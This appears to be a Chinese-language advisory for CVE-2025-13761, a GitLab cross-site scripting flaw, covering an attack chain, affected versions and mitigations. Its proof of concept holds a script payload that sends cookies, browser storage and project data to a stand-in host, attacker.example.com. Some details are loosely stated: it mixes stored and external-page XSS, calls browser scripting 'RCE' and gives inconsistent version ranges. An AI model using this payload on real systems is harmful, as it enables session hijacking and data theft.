CVE-2025-13761: GitLab CE/EE 跨站脚本漏洞导致认证用户浏览器RCE

漏洞信息

漏洞编号

CVE-2025-13761

漏洞类型

跨站脚本(XSS)/远程代码执行

CVSS评分

8.0 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

GitLab CE/EE

漏洞概述

CVE-2025-13761是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个高危安全漏洞。该漏洞影响从18.6到18.6.3之前的所有版本，以及18.7到18.7.1之前的所有版本。漏洞允许未经身份验证的远程攻击者通过精心构造的恶意网页，诱骗已登录的GitLab用户在浏览器中执行任意代码。由于攻击发生在已认证用户的浏览器上下文中，攻击者可以利用受害者的会话权限执行各种操作，包括但不限于：访问私有仓库、修改项目设置、创建或删除资源、甚至可能获取敏感凭据信息。此漏洞需要用户交互才能触发，攻击者必须诱导受害者访问特制网页。CVSS评分8.0，属于高危级别漏洞。

技术细节

该漏洞属于存储型跨站脚本(XSS)漏洞，攻击者通过构造特殊的Payload并诱导已认证用户访问，当GitLab未能正确对用户输入进行过滤和转义时，恶意脚本会被存储在服务器端并在下一次页面加载时执行。由于攻击代码运行在已认证用户的浏览器上下文中，JavaScript可以访问该用户的会话Cookie、令牌及其他敏感信息。攻击者利用这些凭证可以模拟用户操作，执行API调用、访问私有仓库数据或进行横向移动。GitLab官方在18.6.3和18.7.1版本中通过增加输入验证和输出编码修复了此问题。建议所有使用受影响版本的用户立即升级到修复版本。

攻击链分析

STEP 1

步骤1: 侦察和信息收集

攻击者识别目标GitLab实例的版本号，确认其位于受影响版本范围内(18.6-18.6.3或18.7-18.7.1)

STEP 2

步骤2: 寻找注入点

攻击者分析GitLab的功能模块，寻找未充分过滤用户输入的位置，如Issue描述、评论、Wiki页面或用户个人资料

STEP 3

步骤3: 注入恶意脚本

攻击者将包含恶意JavaScript代码的Payload注入到识别的输入字段中，等待数据被存储到服务器

STEP 4

步骤4: 社会工程学攻击

攻击者通过钓鱼邮件、即时消息或其他渠道诱导已认证的GitLab用户访问包含恶意脚本的页面

STEP 5

步骤5: 脚本执行与数据窃取

当受害者访问特制页面时，恶意JavaScript在其浏览器上下文中执行，可窃取Cookie、会话令牌、API密钥等敏感信息

STEP 6

步骤6: 账户接管或横向移动

攻击者利用窃取的凭证执行未授权操作，如访问私有仓库、修改项目设置或进一步渗透基础设施

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-13761 PoC - GitLab XSS to RCE -->
<!-- This PoC demonstrates the XSS vulnerability that can lead to RCE in authenticated user's browser -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13761 PoC</title>
</head>
<body>
    <h1>GitLab XSS -> Browser RCE PoC</h1>
    
    <script>
        // Attacker-controlled server to receive stolen credentials
        const ATTACKER_SERVER = "http://attacker.example.com/exfiltrate";
        
        // Malicious payload that exploits the XSS
        const xssPayload = `
            <script>
                // Steal GitLab session tokens
                fetch('${ATTACKER_SERVER}', {
                    method: 'POST',
                    mode: 'no-cors',
                    body: JSON.stringify({
                        cookies: document.cookie,
                        localStorage: localStorage,
                        sessionStorage: sessionStorage
                    })
                });
                
                // If possible, execute commands via GitLab API
                // This requires understanding the specific XSS vector
                // The actual exploitation depends on where the XSS is triggered
                
                // Example: Make API calls as the authenticated user
                fetch('/api/v4/projects?membership=true')
                    .then(r => r.json())
                    .then(data => {
                        // Exfiltrate project data
                        fetch('${ATTACKER_SERVER}', {
                            method: 'POST',
                            body: JSON.stringify({projects: data})
                        });
                    });
            </script>
        `;
        
        // Social engineering component - redirect to vulnerable endpoint
        function triggerExploit() {
            // The actual XSS would be triggered when GitLab renders unsanitized input
            // This could be via:
            // 1. Issue descriptions
            // 2. Merge request comments
            // 3. Wiki pages
            // 4. Snippet content
            // 5. User profile fields
            
            // For demonstration, this simulates the attack flow
            console.log('XSS Payload:', xssPayload);
            console.log('In a real attack, this would be injected into a GitLab field');
            console.log('When a victim views the page, the script executes in their browser context');
        }
        
        // Auto-trigger on page load
        window.onload = triggerExploit;
    </script>
    
    <p>Note: This is a demonstration of the attack concept. The actual exploitation requires:</p>
    <ul>
        <li>Identifying the specific injection point in GitLab</li>
        <li>Crafting a payload that bypasses GitLab's filters</li>
        <li>Social engineering to get the victim to visit the page</li>
        <li>An attacker-controlled server to receive exfiltrated data</li>
    </ul>
</body>
</html>

影响范围

GitLab CE/EE 18.6 < 18.6.3

GitLab CE/EE 18.7 < 18.7.1

防御指南

临时缓解措施

对于无法立即升级的情况，可采取以下临时缓解措施：1) 限制用户创建Issue、评论等可输入内容的功能权限；2) 在WAF/负载均衡层面添加XSS过滤规则；3) 提醒用户不要点击来自不可信来源的链接；4) 监控GitLab日志中的异常请求模式；5) 考虑使用浏览器安全插件检测恶意脚本。最终仍建议尽快完成版本升级以彻底消除漏洞风险。